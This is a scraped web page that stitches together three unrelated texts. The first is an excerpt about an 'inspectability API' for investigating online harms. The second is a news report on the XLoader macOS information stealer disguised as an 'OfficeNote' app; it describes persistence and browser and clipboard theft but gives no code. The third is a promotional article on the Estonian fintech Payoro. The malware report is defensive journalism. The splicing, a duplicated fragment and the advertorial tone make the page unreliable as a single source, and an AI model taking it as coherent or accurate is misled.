An inspectability API will empower individuals to fight for their rights by sharing the evidence of harm they have been exposed to with people who can raise public awareness and advocate for change. It would enable organizations such as Princeton’s Digital Witness Lab, which I cofounded and lead, to conduct data-driven investigations by collaborating closely with vulnerable communities, instead of relying on tech companies for access. This framework would allow researchers and others to conduct this work in a way that is safe, precise, and, most importantly, prioritizes the consent of the people being harmed.

The Internet Is Turning Into a Data Black Box. An ‘Inspectability API’ Could Crack It Open

A new variant of an Apple macOS malware called XLoader has surfaced in the wild, masquerading its malicious features under the guise of an office productivity app called "OfficeNote."
"The new version of XLoader is bundled inside a standard Apple disk image with the name OfficeNote.dmg," SentinelOne security researchers Dinesh Devadoss and Phil Stokes said in a Monday analysis. "The application

Malware / Endpoint Security

A new variant of an Apple macOS malware called **XLoader** has surfaced in the wild, masquerading its malicious features under the guise of an office productivity app called "OfficeNote."

"The new version of **XLoader** is bundled inside a standard Apple disk image with the name OfficeNote.dmg," SentinelOne security researchers Dinesh Devadoss and Phil Stokes said in a Monday analysis. "The application contained within is signed with the developer signature MAIT JAKHU (54YDV8NU9C)."

XLoader, first detected in 2020, is considered a successor to Formbook and is an information stealer and keylogger offered under the malware-as-a-service (MaaS) model. A macOS variant of the malware emerged in July 2021, distributed as a Java program in the form of a compiled .JAR file.

"Such files require the Java Runtime Environment, and for that reason the malicious .jar file will not execute on a macOS install out of the box, since Apple stopped shipping JRE with Macs over a decade ago," the cybersecurity firm noted at the time.

The latest iteration of XLoader gets around this limitation by switching to programming languages such as C and Objective C, with the disk image file signed on July 17, 2023. Apple has since revoked the signature.

SentinelOne said it detected multiple submissions of the artifact on VirusTotal all through the month of July 2023, indicating a widespread campaign.

"Advertisements on crimeware forums offer the Mac version for rental at $199/month or $299/3 months," the researchers said. "Interestingly, this is relatively expensive compared to Windows variants of XLoader, which go for $59/month and $129/3 months."

Once executed, OfficeNote throws an error message saying it "can't be opened because the original item can't be found," but, in reality, it installs a Launch Agent in the background for persistence.

XLoader is designed to harvest clipboard data as well as information stored in the directories associated with web browsers such as Google Chrome and Mozilla Firefox. Safari, however, is not targeted.

Besides taking steps to evade analysis both manually and by automated solutions, the malware is configured to run sleep commands to delay its execution and avoid raising any red flags.

"XLoader continues to present a threat to macOS users and businesses," the researchers concluded.

"This latest iteration masquerading as an office productivity application shows that the targets of interest are clearly users in a working environment. The malware attempts to steal browser and clipboard secrets that could be used or sold to other threat actors for further compromise."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New Variant of XLoader macOS Malware Disguised as 'OfficeNote' Productivity App

By Owais Sultan
Estonia’s Tallinn, renowned for its medieval aesthetic, is not typically the first name one considers when reflecting upon…
This is a post from HackRead.com Read the original post: Payoro: A Glimmer of Disruption in the Banking Sector

Estonia’s Tallinn, renowned for its medieval aesthetic, is not typically the first name one considers when reflecting upon global financial hubs. However, it would be a grave oversight to disregard the burgeoning fintech scene germinating in its cobbled lanes. The city, already celebrated as the cradle of Skype, now embraces its next tech contender: Payoro.

Since its inception in 2020, Payoro has sought to redefine the conventional banking landscape with its Banking-as-a-Service (BaaS) model. The startup’s proposition is eloquently simple: deliver hassle-free IBAN account openings to private individuals in the EU/EEA.

However, its implications in a market bogged down by red tape are profound. By ensuring that the traditionally painstaking account opening process, after mandatory KYC and AML checks, becomes straightforward, Payoro heralds a new era of consumer-centric banking in Europe.

BaaS (not Backend-as-a-Service in this case), although a contemporary buzzword, is not to be dismissed as a mere fad. Citing industry metrics, the shift from conventional banking methods to a BaaS model is gaining momentum at an impressive rate. A recent report from McKinsey anticipates the global BaaS market to burgeon, estimating its worth at $3.6 trillion by 2025. Driving this ascent is the millennial and Gen Z demand for instantaneous, digital, and efficient financial services. With an increasing demographic disillusioned with traditional banking lag, BaaS is a timely remedy.

**BaaS – Competitors Galore**

This lucrative backdrop presents an ample playing field for Payoro, but the competition is fierce. Giants like SolarisBank, Starling Bank, and ClearBank have already carved significant niches in the BaaS sphere. Their advantage lies in their early market entry, vast resources, and established customer trust.

However, Payoro’s distinction stems from its keen insight into the EU/EEA regulatory (PDF) landscape and demographics. The company’s strategic localization of its services, combined with a broader European vision, positions it as a formidable contender in the regional BaaS ecosystem.

Estonia’s choice of Payoro’s birthplace is hardly incidental. This nation has astutely crafted a reputation as a fertile ground for digital innovation. Through initiatives like the e-residency program and an overarching commitment to digitalization, Estonia offers startups the requisite infrastructure and governmental backing, making it an ideal launchpad for fintech endeavours like Payoro.

Yet, as is the narrative with most startups attempting to disrupt established norms, challenges are inevitable. Payoro, while pioneering, must be wary of the pitfalls that come with innovation in a sensitive sector like finance. Constant innovation remains the mandate. In an industry that’s continually evolving, Payoro’s success will be contingent on its ability to stay ahead, offer value, and diversify its services.

**The Case for Trust**

The more pressing concern, however, is trust. In an age where data breaches make headlines and consumers grow increasingly wary of digital solutions, establishing and maintaining trust becomes paramount. Financial data, being among the most sensitive, demands rigorous cybersecurity measures. Moreover, Payoro’s transparent adherence to the stringent EU/EEA regulations becomes not just a legal necessity but also a cornerstone of its brand promise.

For keen market watchers, Payoro offers a captivating case study. As traditional banking edifices grapple with the winds of digital change, BaaS providers like Payoro seem primed to capitalize on the emerging gaps. Their model, which seeks to divorce banking services from their traditional confines and present them on user-friendly digital platforms, is emblematic of the democratization of finance.

In conclusion, Payoro is not merely Estonia’s latest fintech entrant; it’s a testament to where the global banking pulse is trending. For an industry that often finds itself at the crossroads of tradition and innovation, BaaS providers like Payoro illuminate the path forward. And as this Baltic prodigy embarks on its ambitious journey, the financial sector waits with bated breath, anticipating the ripples it’s poised to create in the vast ocean of global finance.

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